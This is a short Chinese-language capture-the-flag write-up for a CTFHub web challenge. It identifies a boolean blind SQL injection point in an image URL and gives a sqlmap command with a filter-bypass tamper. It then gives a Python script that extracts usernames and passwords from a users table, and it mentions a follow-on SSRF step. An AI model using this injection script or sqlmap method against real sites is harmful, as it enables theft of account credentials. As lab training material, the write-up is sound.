ctfhub 历年真题 web
WebsiteManger
题目考点
- 布尔盲注
- SSRF
解题思路
进行登入点使用sqlmap 测试无果
仔细观察, 图片链接处存在注入点
使用sqlmap进行测试
sqlmap -u "http://challenge-94b51247b7b2ac6f.sandbox.ctfhub.com:10800/image.php?id=3" --tamper space2mysqlblank --technique=B --level 5 --current-db
解释
- tampe 参数会对payload进行处理绕过过滤
参考链接: 传送门 - technique 控制sqlmap使用的检测技术, 默认使用所有的检测技术
根据显示存在,布尔盲注
工具给出的payload , 写出脚本
import requests
import string
charset = ",@"+ string.digits + string.ascii_lowercase + string.ascii_uppercase
def r(s):
s = s.replace(" ", "/**/")
return s
sql = r("select concat(id,username,password) from users")
result = ""
for i in range(1,50):
for c in charset:
cc = ord(c)
url = f"http://eci-2zeir5o8p6vh6eotta01.cloudeci1.ichunqiu.com/image.php?id=-1/*
*/or/**/(ascii(mid(({sql}),{i},1))={cc})"
r = requests.get(url)
if len(r.text) > 1024:
result += c
print(result)
break
print('over!!!'
注意前面是用户名后面是密码
登入后就很明显了,读取文件, SSRF 上了。